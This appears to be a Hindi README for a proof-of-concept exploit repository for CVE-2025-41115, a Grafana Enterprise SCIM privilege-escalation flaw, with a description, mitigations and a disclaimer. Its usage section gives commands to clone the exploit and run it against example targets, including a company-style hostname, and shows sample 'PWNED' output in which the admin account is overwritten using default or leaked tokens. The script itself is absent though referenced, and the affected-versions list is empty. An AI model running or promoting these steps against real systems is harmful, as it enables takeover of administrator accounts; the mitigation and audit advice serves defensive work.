🔐 CVE-2025-41115: गंभीर Grafana SCIM विशेषाधिकार वृद्धि

Grafana Enterprise में गंभीर SCIM विशेषाधिकार-वृद्धि भेद्यता

🌟 सारांश

CVE-2025-41115, Grafana Enterprise में एक गंभीर (CVSS 10.0) भेद्यता है जो इसकी SCIM उपयोगकर्ता-प्रावधान सुविधा को प्रभावित करती है।

जब SCIM प्रावधान सक्षम हो और user_sync_enabled = true हो, तो एक दुर्भावनापूर्ण SCIM क्लाइंट एक संख्यात्मक externalId भेज सकता है, जिसे Grafana गलती से एक आंतरिक उपयोगकर्ता ID से मैप करता है — जिससे हमलावर मौजूदा खातों, जिनमें व्यवस्थापक शामिल हैं, को प्रतिरूपित या अधिलेखित कर सकता है। ⚠️ Grafana OSS प्रभावित नहीं है।

🚨 प्रभाव

• 🔓 खाता अधिग्रहण (व्यवस्थापक खातों सहित)
• 🚀 पूर्ण व्यवस्थापक अधिकारों के साथ विशेषाधिकार वृद्धि
• 🗄️ डैशबोर्ड / डेटा / संगठन कॉन्फ़िगरेशन तक पहुंच
• 🌐 कम आवश्यकताओं के साथ नेटवर्क-शोषणीय
• 🛑 मल्टी-टेनेंट या एंटरप्राइज़ SSO सेटअप के लिए उच्च जोखिम

शोषण के लिए आवश्यक शर्तें:

1. enableSCIM = true
2. [auth.scim] user_sync_enabled = true

🧩 प्रभावित संस्करण

💡 प्रबंधित Grafana सेवाएं (AWS/Azure/Grafana Cloud) विक्रेताओं द्वारा पैच की गईं।

इसे 3 सेकंड में कैसे उपयोग करें:

1. डाउनलोड करें

sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git

या बस उपरोक्त स्क्रिप्ट को किसी फ़ाइल में कॉपी-पेस्ट करें

2. निष्पादन योग्य बनाएं (वैकल्पिक)

chmod +x CVE-2025-41115.py

3. चलाएं

python3 CVE-2025-41115.py http://10.10.13.37:3000
# or
python3 CVE-2025-41115.py https://grafana.company.com

जब एक्सप्लॉइट वास्तव में काम करता है (अर्थात, लक्ष्य असुरक्षित है और टोकन मान्य है), तो आपको बिल्कुल इस तरह आउटपुट दिखाई देगा: text

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: [email protected] (any password) → you are now Admin!
[+] Full response: {
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "id": "1",                     ←←← THIS IS THE KEY LINE (UID 1 overwritten)
  "externalId": "1",
  "meta": { ... },
  "userName": "[email protected]",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "[email protected]",
      "primary": true
    }
  ],
  "active": true
}

🔧 शमन कदम

🥇 1. तुरंत अपग्रेड करें

12.3.0 या किसी एक पैच किए गए अनुरक्षण रिलीज़ में अपडेट करें।

🛠️ 2. अपनी SCIM कॉन्फ़िगरेशन जांचें

यदि आप SCIM प्रावधान का उपयोग नहीं कर रहे हैं, तो सुनिश्चित करें कि आपके पास है:

enableSCIM = false

या

[auth.scim]
user_sync_enabled = false

📜 3. ऑडिट लॉग

इनकी तलाश करें:

• अनपेक्षित नए उपयोगकर्ता
• संख्यात्मक externalId उपयोग
• विशेषाधिकार परिवर्तन

🔐 4. विश्वास सीमाएं

सुनिश्चित करें कि केवल विश्वसनीय पहचान प्रदाताओं को आपके SCIM एंडपॉइंट से बात करने की अनुमति है।

👀 5. शोषण के लिए निगरानी करें

संदिग्ध लॉगिन, उपयोगकर्ता निर्माण घटनाओं, या व्यवस्थापक अधिग्रहण पर नज़र रखें।

📅 समयरेखा

• 📌 2025-11-04 — समस्या आंतरिक रूप से खोजी गई
• 📌 2025-11-04 — घटना घोषित
• 📌 2025-11-05 — क्लाउड विक्रेताओं को निजी रूप से सूचित और पैच किया गया
• 📌 2025-11-19 — सार्वजनिक प्रकटीकरण और आधिकारिक सुधार जारी

📝 अतिरिक्त नोट्स

• 🎯 यह दोष विशेष रूप से Grafana द्वारा संख्यात्मक externalId → आंतरिक uid मैप करने के कारण है।
• 🟢 शोषण के लिए SCIM उपयोगकर्ता सिंकिंग के साथ आवश्यक है, इसलिए कई तैनातियाँ डिफ़ॉल्ट रूप से सुरक्षित हैं — लेकिन आपको पुष्टि करनी होगी।
• ⚡ प्रकटीकरण के समय कोई पुष्टि की गई वास्तविक-दुनिया शोषण नहीं, लेकिन CVSS 10 स्कोर का मतलब है कि यह अत्यंत खतरनाक है।

अस्वीकरण!!!

यह PoC केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए है, विशेष रूप से उन प्रणालियों में जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है और आपराधिक अभियोजन का कारण बन सकता है। लेखक और वितरक दुरुपयोग के लिए कोई देयता नहीं लेते हैं। तुरंत पैच करें (≥12.0.6 / 12.3.0+)।